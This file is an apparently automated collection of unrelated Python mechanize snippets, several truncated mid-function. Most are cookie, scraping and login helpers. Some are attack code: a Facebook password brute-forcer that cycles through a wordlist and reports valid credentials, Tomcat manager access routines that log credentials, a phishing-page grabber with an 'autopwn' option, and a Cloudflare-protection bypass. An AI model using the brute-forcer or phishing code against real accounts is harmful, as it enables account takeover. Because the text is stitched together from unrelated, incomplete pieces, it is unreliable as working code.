def browseToManager(url, user, password):
logger.debug('Browsing to "%s"... Creds: %s:%s' % (url, user, password))
browser = mechanize.Browser()
cookiejar = mechanize.LWPCookieJar()
browser.set_cookiejar(cookiejar)
browser.set_handle_robots(False)
browser.add_password(url, user, password)
error = None
retry = False
page = None
try:
page = browser.open(url)
except urllib2.URLError, e:
error = str(e)
try:
logger.debug('Failed with /manager/ trying with /manager/html')
page = browser.open(url + 'html')
logger.debug('Succeeded, most likely dealing with Tomcat6.')
error = None
url += 'html'
except urllib2.URLError, e:
if '403' in str(e):
logger.debug('Got 403, most likely dealing with Tomcat6.')
logger.error('Invalid credentials supplied for Apache Tomcat.')
pass
else:
error = str(e)
def __callRequest(self):
cookieJar = mechanize.LWPCookieJar()
try: #TODO ohne try evtl.
cookieJar.load(self._cookiePath, self.__bIgnoreDiscard, self.__bIgnoreExpired)
except Exception as e:
logger.info(e)
sParameters = urllib.urlencode(self.__aParameters)
opener = mechanize.build_opener(SmartRedirectHandler,
mechanize.HTTPEquivProcessor,
mechanize.HTTPRefreshProcessor)
if (len(sParameters) > 0):
oRequest = mechanize.Request(self.__sUrl, sParameters)
else:
oRequest = mechanize.Request(self.__sUrl)
for aHeader in self.__aHeaderEntries:
for sHeaderKey, sHeaderValue in aHeader.items():
oRequest.add_header(sHeaderKey, sHeaderValue)
cookieJar.add_cookie_header(oRequest)
if self.caching and self.cacheTime > 0:
sContent = self.readCache(self.getRequestUri())
if sContent:
return sContent
try:
oResponse = opener.open(oRequest,timeout = 60)
except mechanize.HTTPError, e:
if not self.ignoreErrors:
xbmcgui.Dialog().ok('xStream','Fehler beim Abrufen der Url:',self.__sUrl, str(e))
logger.error("HTTPError "+str(e)+" Url: "+self.__sUrl)
return ''
else:
oResponse = e
def get_browser(self):
if self.browser:
return self.browser
else:
browser = mechanize.Browser()
browser.set_handle_equiv(False)
browser.set_handle_gzip(True)
browser.set_handle_redirect(True)
browser.set_handle_robots(False)
browser.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
max_time=1)
# browser.set_seekable_responses(False)
if self.debug:
browser.set_debug_http(True)
browser.set_debug_redirects(True)
browser.set_debug_responses(True)
cj = mechanize.LWPCookieJar()
try:
cj.load(self.cookie_file,
ignore_discard=True,
ignore_expires=True)
except IOError:
pass
browser.set_cookiejar(cj)
browser.addheaders = [
('User-agent', self.user_agent),
]
self.browser = browser
return self.browser
def init_browser():
browser = mechanize.Browser()
cookiejar = mechanize.LWPCookieJar()
browser.set_cookiejar(cookiejar)
browser.set_handle_robots(False)
manager_url = "%s/manager/html" % URL
browser.add_password(manager_url, USERNAME, PASSWORD)
try:
page = browser.open(manager_url)
except:
print("[-] Apache Tomcat not found")
os._exit(0)
data = page.read()
m = re.search('Apache Tomcat/([^<]+)', data)
if m:
tomcatVersion = m.group(1)
if not tomcatVersion:
print("[-] Apache Tomcat not found")
return False
#print('[+] Apache Tomcat/%s' % (tomcatVersion))
return browser
def __init__(self, usuario, senha):
self.usuario = usuario
self.senha = senha
self.br = mechanize.Browser()
cookiejar = mechanize.LWPCookieJar(
"cookies.yml", 'ignore_discard="True",ignore_expired="True"')
self.br.set_cookiejar(cookiejar)
##### Browser options #######
self.br.set_handle_equiv(False)
self.br.set_handle_gzip(False)
self.br.set_handle_redirect(True)
self.br.set_handle_referer(False)
self.br.set_handle_robots(False)
self.br.set_handle_refresh(
False) #mechanize._http.HTTPRefreshProcessor(), max_time=1)
self.br.set_debug_http(True)
self.br.set_debug_http(True)
#self.br.set_debug_redirects(True)
self.br.set_debug_responses(True)
########----------###########
self.br.addheaders = [
('User-agent',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1'
),
('Cache-Control',
'no-store, no-cache, must-revalidate, post-check=0, pre=check=0'),
('Pragma', 'no-cache')
]
#TODO buscar forma melhor de fazer o processo de cadastro das tags
self.dic_temp = {
} # necessario para guardar informações para cadastro de tags
def browseToManager(host, url, user, password):
error = None
retry = False
page = None
baseurl = constructBaseUrl(host, url)
managerurl = ''
tomcat_suffixes = ['', 'manager', 'manager/html']
error = None
reached = False
logger.debug('Browsing to "%s"... Creds: "%s:%s"' %
(baseurl, user, password))
browser = mechanize.Browser()
cookiejar = mechanize.LWPCookieJar()
browser.set_cookiejar(cookiejar)
browser.set_handle_robots(False)
once = True
for suffix in tomcat_suffixes:
try:
managerurl = os.path.join(baseurl, suffix)
logger.debug('Trying to fetch: "%s"' % managerurl)
browser.add_password(managerurl, user, password)
page = browser.open(managerurl)
data = page.read()
m = re.search('Apache Tomcat/([^<]+)', data)
if m:
logger.debug('Probably found something: Apache Tomcat/%s' %
m.group(1))
tomcatVersion = m.group(1)
if validateManagerApplication(browser) and tomcatVersion:
logger.debug(
'Apache Tomcat/%s Manager Application reached & validated.'
% (tomcatVersion))
reached = True
break
except urllib2.URLError, e:
error = str(e)
if 'Connection refused' in error:
logger.warning(
'Could not connect with "%s", connection refused.' %
managerurl)
elif 'Error 401' in error or '403' in error:
logger.warning(
'Invalid credentials supplied for Apache Tomcat.')
return 403, 403
elif once:
once = False
logger.warning('Browsing to the manager (%s) failed: \n\t%s' %
(baseurl, e))
if ':' not in baseurl[baseurl.find('://') + 3:]:
logger.warning(
'Did you forgot to specify service port in the host argument (host:port)?'
)
def themain():
#browser=mechanize.Browser()
#browser.open('http://www.baidu.com')
cj = mechanize.LWPCookieJar()
opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cj))
mechanize.install_opener(opener)
r = mechanize.urlopen('http://www.baidu.com')
cj.save('cookie.txt', ignore_discard=True, ignore_expires=True)
def setCookie(self, oCookie):
cookieJar = mechanize.LWPCookieJar()
try: #TODO ohne try evtl.
cookieJar.load(self._cookiePath, self.__bIgnoreDiscard, self.__bIgnoreExpired)
except Exception as e:
logger.info(e)
cookieJar.set_cookie(oCookie)
cookieJar.save(self._cookiePath, self.__bIgnoreDiscard, self.__bIgnoreExpired)
def export_cookies(self, req, fp, code, msg, headers):
oRequest = cRequestHandler('dummy')
resp = mechanize._response.closeable_response(fp, headers, req.get_full_url(), code, msg)
cookieJar = mechanize.LWPCookieJar()
try:
cookieJar.load(oRequest._cookiePath)
except Exception as e:
logger.info(e)
cookieJar.extract_cookies(resp,req)
cookieJar.save(oRequest._cookiePath)
def main():
""" Program's entry point """
try:
web = None
if len(sys.argv) < 4:
print "Usage: " + sys.argv[0] + " code.ext out.xml website/problem"
print
print "ext = c | cpp | cc | java"
print "website = livearchive | uva | tju | timus | spoj"
print
write_status('Too few arguments to valodator.py')
sys.exit(1)
with open(sys.argv[1]) as fcode:
code = fcode.read()
url = sys.argv[3]
website, problem = recognize_problem(url)
website = website.lower()
language = recognize_language(sys.argv[1])
cjar = mechanize.LWPCookieJar()
if os.access(COOKIE_FILE, os.F_OK):
cjar.load(COOKIE_FILE)
# some weird exception pops up due to server's error,
# and sometimes we get RetryableException
for retry in xrange(10):
try:
browser = build_browser(cjar)
print 'Website is ' + website
web = build_web_judge(website, browser)
status = web.get_verdict(problem, language, code)
break
except (httplib.HTTPException, RetryableException):
web.cleanup_after_crash()
stack = format_exception_info()
print stack
with open(LOG_FILE, 'a') as flog:
flog.write('Exception: ' + stack + '\n')
if retry == 9:
write_status("Error, too many retryables.")
sys.exit(1)
time.sleep(2)
cjar.save(COOKIE_FILE, ignore_discard=True, ignore_expires=True)
write_status(status)
except Exception, exc: #gotta catch 'em all, for logging purposes
if web:
web.cleanup_after_crash()
stack = format_exception_info()
print stack
with open(LOG_FILE, 'a') as flog:
flog.write('Exception: ' + stack + '\n')
write_status(str(type(exc)) + " " + str(exc))
def __callRequest(self):
if self.caching and self.cacheTime > 0:
sContent = self.readCache(self.getRequestUri())
if sContent:
return sContent
cookieJar = mechanize.LWPCookieJar(filename=self._cookiePath)
try: # TODO ohne try evtl.
cookieJar.load(ignore_discard=self.__bIgnoreDiscard,
ignore_expires=self.__bIgnoreExpired)
except Exception as e:
logger.info(e)
sParameters = urllib.urlencode(self.__aParameters, True)
handlers = [
SmartRedirectHandler, mechanize.HTTPEquivProcessor,
mechanize.HTTPRefreshProcessor
]
if sys.version_info >= (2, 7, 9) and sys.version_info < (2, 7, 11):
handlers.append(newHTTPSHandler)
opener = mechanize.build_opener(*handlers)
if (len(sParameters) > 0):
oRequest = mechanize.Request(self.__sUrl, sParameters)
else:
oRequest = mechanize.Request(self.__sUrl)
for key, value in self.__headerEntries.items():
oRequest.add_header(key, value)
cookieJar.add_cookie_header(oRequest)
user_agent = self.__headerEntries.get(
'User-Agent',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3'
)
try:
oResponse = opener.open(oRequest, timeout=self.requestTimeout)
except mechanize.HTTPError, e:
if e.code == 503 and e.headers.get("Server") == 'cloudflare-nginx':
html = e.read()
oResponse = self.__check_protection(html, user_agent,
cookieJar)
if not oResponse:
logger.error("Failed to get CF-Cookie for Url: " +
self.__sUrl)
return ''
elif not self.ignoreErrors:
xbmcgui.Dialog().ok('xStream', 'Fehler beim Abrufen der Url:',
self.__sUrl, str(e))
logger.error("HTTPError " + str(e) + " Url: " + self.__sUrl)
return ''
else:
oResponse = e
def __init__(self):
self._br = mechanize.Browser()
self._cj = mechanize.LWPCookieJar()
csrftoken = makeCsrf()
self._cj.set_cookie(csrfCookie(csrftoken))
self._br.set_handle_robots(False)
self._br.set_cookiejar(self._cj)
self._br.addheaders.append(('X-CSRFToken',csrftoken))
self._br.addheaders.append(('Referer',base_url))
self._logged_in = False
self._fd = FileDownloader(config.YDL_PARAMS)
self._fd.add_info_extractor(YoutubeIE())
def getCookie(self, sCookieName):
cookieJar = mechanize.LWPCookieJar()
try: #TODO ohne try evtl.
cookieJar.load(self._cookiePath, self.__bIgnoreDiscard, self.__bIgnoreExpired)
except Exception as e:
logger.info(e)
for entry in cookieJar:
if entry.name == sCookieName:
return entry
return False
def __init__(self, usid):
self.usid = usid
self.baseUrl = "http://userstyles.org"
self.editUrl = self.baseUrl + "/styles/%d/edit" % usid
self.cj = mechanize.LWPCookieJar()
self.br = mechanize.Browser()
self.br.set_cookiejar(self.cj)
if os.path.exists(".userstylecookies.txt"):
self.cj.load(".userstylecookies.txt",
ignore_discard=True,
ignore_expires=True)
def __init__(self, config):
"""Set up JARFILE and other housekeeping"""
self.cookiejar = mechanize.LWPCookieJar()
browser = self.mechanize = mechanize.Browser()
browser.set_cookiejar(self.cookiejar)
self.config = config
# I guess we'll assume good until we get evidence otherwise...
if JARFILE.exists():
logging.debug("Loading jarfile: %s", str(JARFILE))
self.cookiejar.load(JARFILE)
browser.set_cookiejar(self.cookiejar)
else:
self.login()
def __init__(self):
self.cj = mechanize.LWPCookieJar()
opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(self.cj))
mechanize.install_opener(opener)
self.br = mechanize.Browser()
self.br.set_cookiejar(self.cj)
self.sessionkey = 'None'
self.br.set_header(
'User-Agent',
value=
'Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0'
)
# self.br.set_debug_http(True)
self.br.set_debug_redirects(True)
def setupBrowser():
"""
Setup the browser which we use for login to facebook and scraping the source code
"""
br = mechanize.Browser()
cj = mechanize.LWPCookieJar()
br.set_cookiejar(cj)
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [
('User-agent',
'Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0')
]
return br
def get_trash_zone(address, zip):
#Make cookie jar. See wwwsearch.sourceforge.dat/mechanize/hints.html
cj = mechanize.LWPCookieJar()
opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cj))
mechanize.install_opener(opener)
#Save cookies
cj.save(
"/usr/local/django/recyclocity/recyclocity_static/cookies/cookie_jar",
ignore_discard=True,
ignore_expires=True)
#Create a browser
browser = mechanize.Browser()
#Fill in form
browser.open('http://lmt-web.lowermerion.org/cgi-bin/refuse2.plx')
browser.form = list(browser.forms())[0]
browser.form['askrecycle'] = address
browser.form['postcode'] = zip
#Submit form
browser.submit()
#Extract content
content = browser.response().read()
#Use pattern match to extract fields
m = re.search('<b>(Monday|Tuesday|Wednesday|Thursday|Friday)</b>', content)
if m:
day, = m.groups()
#Convert day to number
day_number = schedule_helpers.get_day_number(day)
else:
#Failed
return
m = re.search('<b>Zone ([1-4])</b>', content)
if m:
zone, = m.groups()
else:
#Failed
return
#Match for both day and zone
return day_number, zone
def loginAccount(email: str, password: str):
br = getNewBrowser()
# TODO: Fix loadCookies handling
cookies = mechanize.LWPCookieJar(getCookiesPath())
if email is None or password is None:
print("Kein Zugangsdaten vorhanden...")
return False, br
elif cookies is not None and os.path.exists(getCookiesPath()):
# Try to login via stored cookies first - Aral only allows one active session which means we will most likely have to perform a full login
print('Login aral-supercard.de Account | ' + email)
print('Versuche Login ueber zuvor gespeicherte Cookies ...')
br.set_cookiejar(cookies)
response = br.open(getBaseDomain())
html = getHTML(response)
logged_in = isLoggedIN(html)
if not logged_in:
if cookies is not None and os.path.exists(getCookiesPath()):
print('Login ueber Cookies fehlgeschlagen --> Versuche vollstaendigen Login')
else:
print('Login aral-supercard.de Account | ' + email)
br.open(getBaseDomain() + '/login')
form_index = getFormIndexBySubmitKey(br, 'email')
if form_index == -1:
print('Login-Form konnte nicht gefunden werden')
return False, br
br.select_form(nr=form_index)
br['email'] = email
br['password'] = password
response = br.submit()
html = getHTML(response)
if not isLoggedIN(html):
print(
'Login fehlgeschlagen - Ungueltige Zugangsdaten? Korrigiere deine eingetragenen Zugangsdaten in der Datei %s bevor du dieses Script wieder startest!' % getSettingsPath())
return False, br
print('Vollstaendiger Login erfolgreich')
logged_in = True
cookies = br._ua_handlers['_cookies'].cookiejar
if cookies is not None:
# Save cookies and logindata
print('Speichere Cookies in ' + getCookiesPath())
cookies.save()
else:
print('Keine Cookies zum Speichern vorhanden')
return logged_in, br
def __callRequest(self):
cookieJar = mechanize.LWPCookieJar()
try: #TODO ohne try evtl.
cookieJar.load(self._cookiePath, self.__bIgnoreDiscard,
self.__bIgnoreExpired)
except Exception as e:
logger.info(e)
sParameters = urllib.urlencode(self.__aParameters, True)
handlers = [
SmartRedirectHandler, mechanize.HTTPEquivProcessor,
mechanize.HTTPRefreshProcessor
]
if sys.version_info >= (2, 7, 9) and sys.version_info < (2, 7, 11):
handlers.append(newHTTPSHandler)
opener = mechanize.build_opener(*handlers)
if (len(sParameters) > 0):
oRequest = mechanize.Request(self.__sUrl, sParameters)
else:
oRequest = mechanize.Request(self.__sUrl)
for key, value in self.__headerEntries.items():
oRequest.add_header(key, value)
cookieJar.add_cookie_header(oRequest)
if self.caching and self.cacheTime > 0:
sContent = self.readCache(self.getRequestUri())
if sContent:
return sContent
try:
oResponse = opener.open(oRequest, timeout=self.requestTimeout)
except mechanize.HTTPError, e:
if e.code == 503 and e.headers.get("Server") == 'cloudflare-nginx':
oResponse, cookieJar = cCFScrape().resolve(
oRequest, e, cookieJar)
elif not self.ignoreErrors:
xbmcgui.Dialog().ok('xStream', 'Fehler beim Abrufen der Url:',
self.__sUrl, str(e))
logger.error("HTTPError " + str(e) + " Url: " + self.__sUrl)
return ''
else:
oResponse = e
def get_trash_zone(address, zip):
#Make cookie jar. See wwwsearch.sourceforge.dat/mechanize/hints.html
cj = mechanize.LWPCookieJar()
opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cj))
mechanize.install_opener(opener)
#Create a browser
browser = mechanize.Browser()
#User-Agent (this is cheating, ok?)
browser.addheaders = [(
'User-agent',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1'
)]
#Save cookies
cj.save(
"/usr/local/django/recyclocity/recyclocity_static/cookies/cookie_jar",
ignore_discard=True,
ignore_expires=True)
#Fill in form
#browser.open('http://citymaps.phila.gov/portal/')
#browser.select_form(name="form1")
#browser.form['txtSearchAddress'] = address
#Fill in form
#browser.open('https://alpha.phila.gov/property/')
#browser.open('http://www.lowermerion.org/cgi-bin/recycle2.plx/')
browser.open(
'http://www.lowermerion.org/services/public-works-department/refuse-and-recycling/how-to-determine-your-recycling-collection-day'
)
#browser.form = list(browser.forms())[0]
#browser.form['askrecycle'] = address
#browser.form['postcode'] = zip
#Submit form
#browser.submit()
#Extract content
content = browser.response().read()
return content
def __init__(self, num, keyword):
self.num = num
self.keyword = keyword
self.br = Browser(factory=mechanize.RobustFactory())
self.br.set_handle_robots(False)
self.br.addheaders = [
('User-Agent', userAgent),
('Accept',
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')
]
self.cj = mechanize.LWPCookieJar()
self.br.set_cookiejar(self.cj)
self.br._factory.is_html = True
self.br.set_handle_refresh(False)
self.idletime = 0
threading.Thread.__init__(self)
self.url = ""
self.depth = 0
self.output = ""
def browseToManager(url, user, password):
logger.debug('Browsing to "%s"... Creds: %s:%s' % (url, user, password))
browser = mechanize.Browser()
cookiejar = mechanize.LWPCookieJar()
browser.set_cookiejar(cookiejar)
browser.set_handle_robots(False)
browser.add_password(url, user, password)
try:
page = browser.open(url)
except urllib2.URLError, e:
if 'Connection refused' in str(e):
logger.error('Could not connect with "%s", connection refused.' % url)
elif 'Error 404' in str(e):
logger.error('Server returned 404 Not Found on specified URL: %s' % url)
elif 'Error 401' in str(e):
logger.error('Invalid credentials supplied for Apache Tomcat.')
else:
logger.error('Browsing to the server (%s) failed: %s' % (url, e))
return None
def setup_browser(self):
# initiate browser connection
br = mechanize.Browser()
cj = mechanize.LWPCookieJar()
br.set_cookiejar(cj)
# Browser options
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
max_time=1)
br.addheaders = [('User-agent', 'Chrome')]
self.br = br
self.check_login()
return self
def __init__(self, username, password):
mechanize.Browser.__init__(self)
cj = mechanize.LWPCookieJar()
self.set_cookiejar(cj)
self.set_handle_equiv(True)
self.set_handle_redirect(True)
self.set_handle_referer(True)
self.set_handle_robots(False)
self.addheaders = [(
'User-agent',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1'
)]
self.open(self.base_url)
self.username = username
self.password = password
self.login()
opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cj))
mechanize.install_opener(opener)
def login(username,password):
print "[-] LOGIN"
print "[+] username : "******"[+] password : "******"https://m.facebook.com/")
br.select_form(nr=0)
br.form['email'] = username
br.form['pass'] = password
br.submit()
print "[-] SUCCESS LOGIN"
return br
def run(email, wordlist, agent, timeout):
now = time.strftime("%X")
print (LEGAL_DISCLAIMER)
print ("\n[*] starting at %s\n" % now)
url = "https://www.facebook.com/login.php?login_attempt=1"
regexp = re.compile(re.findall("/(.*)\?", url)[0])
cj = mechanize.LWPCookieJar()
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_redirect(True)
br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1)
br.set_cookiejar(cj); cj.clear()
br.addheaders = [('User-agent', agent)]
br.open(url, timeout=timeout)
form = br.forms()[0]
fp = open(wordlist, "rb")
wordlist = fp.readlines()
print ("\033[01;34m")
msg = "target: " + email; logger.info(msg)
msg = "wordlist: %d password" % len(wordlist); logger.info(msg)
print ("\033[0m")
while len(wordlist) <> 0:
password = wordlist.pop(0).strip()
msg = "trying credential => {0}:{1}".format(email, password); logger.info(msg)
form["email"] = email
form["pass"] = password
response = br.open(form.click(), timeout=timeout)
_url = response.geturl()
if not regexp.search(_url) or regexp.pattern not in _url:
print ("\033[01;32m")
msg = "valid credential: "; logger.info(msg)
msg = "email|id: " + email; logger.debug(msg)
msg = "password: "******"\033[0m")
raise SystemExit
msg = "password valid tidak ditemukan di wordlist anda: " + fp.name; logger.critical(msg)
def cookie_jar(self):
cj = getattr(self, '_cookie_jar', None)
if cj is None:
cj = mechanize.LWPCookieJar(Zone.cookie_fname)
if self.use_cookies:
try:
cj.load()
except IOError:
pass
def save_cookies():
if self.use_cookies:
Zone.status(self, "Saving cookies to " + Zone.cookie_fname)
cj.save()
Zone.success(self)
atexit.register(save_cookies)
self._cookie_jar = cj
return cj
# Create a mechanized browser to connect to the phish target and grab the response
browse = mechanize.Browser()
browse.set_handle_robots(False)
# Determine if user agent was set,
# if so then set argument, otherwise it is empty
if args['useragent'] is not None:
uafile = open(args['useragent'], 'r')
uaheader = uafile.readline()
browse.addheaders = [('User-Agent', uaheader)]
uafile.close()
# if sendcookies option was enabled, then connect,
# grab the cookies, and use them in the second connection
if args['sendcookies'] == 1:
cookies = mechanize.LWPCookieJar()
browse.set_cookiejar(cookies)
browse.open(phishsource)
browse.open(phishsource)
phishpage = browse.response().read()
browse.close()
# Use Beautiful soup to handle the HTML response
soup = BeautifulSoup(phishpage, "lxml")
# If autopwn has been configured, implement functionality
if args['autopwn'] is not None:
# First perform regex to make sure halfway proper link was submitted
if re.search('^(http|https)\:\/\/[a-zA-Z0-9]+', args['autopwn']):
# Build frame for HTML response and store in BeautifulSoup object
def getNewToken(self):
import mechanize #@UnresolvedImport
br = mechanize.Browser()
__addon__ = xbmcaddon.Addon(id='script.facebook.media')
cookiesPath = os.path.join(xbmc.translatePath(__addon__.getAddonInfo('profile')),'cache','cookies')
LOG('Cookies will be saved to: ' + cookiesPath)
cookies = mechanize.LWPCookieJar(cookiesPath)
if os.path.exists(cookiesPath): cookies.load()
self.cookieJar = cookies
opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cookies))
mechanize.install_opener(opener)
br.set_cookiejar(self.cookieJar)
br._ua_handlers["_cookies"].cookiejar.clear()
br.set_handle_robots(False)
agent = 'XBMC/{0} Facebook-Media/{1}'.format(xbmc.getInfoLabel('System.BuildVersion'),self.version)
LOG('Setting User Agent: {0}'.format(agent))
br.addheaders = [('User-agent',agent)]
scope = ''
if self.scope: scope = '&scope=' + self.scope
url = 'https://www.facebook.com/dialog/oauth?client_id='+self.client_id+\
'&redirect_uri='+self.redirect+\
'&type=user_agent&display=popup'+scope
LOG(url)
try:
res = br.open(url)
html = res.read()
except:
LOG("ERROR: TOKEN PAGE INITIAL READ")
raise
script = False
try:
#check for login form
br.select_form(nr=0)
LOG("HTML")
except:
self.genericError()
script = True
LOG("SCRIPT")
if script:
#no form, maybe we're logged in and the token is in javascript on the page
url = res.geturl()
token = self.extractTokenFromURL(url)
if not token: token = self.parseTokenFromScript(html)
else:
try:
#fill out the form and submit
br['email'] = self.login_email
br['pass'] = self.login_pass
res = br.submit()
url = res.geturl()
LOG("FORM")
except:
LOG("FORM ERROR")
raise
script = False
token = self.extractTokenFromURL(url)
html = self.browserRead(res,'-noscript')
if not token:
#if 'class="checkpoint"' in html:
token = self.handleLoginNotificationCrap(br)
if not token: script = True
if script:
LOG("SCRIPT TOKEN")
#no token in the url, let's try to parse it from javascript on the page
try:
__addon__ = xbmcaddon.Addon(id='script.facebook.media')
htmlFile = os.path.join(xbmc.translatePath(__addon__.getAddonInfo('profile')),'cache','DEBUG_HTML.html')
open(htmlFile,'w').write(html)
LOG('html output written to: ' + htmlFile)
except:
pass
token = self.parseTokenFromScript(html)
token = urllib.unquote(token.decode('unicode-escape'))
if not self.tokenIsValid(token):
#if script: LOG("HTML:" + html)
return False
LOG("\n|--------------------\n|TOKEN: %s\n|--------------------" % token)
self.saveToken(token)
if self.cookieJar is not None:
self.cookieJar.save()
return token
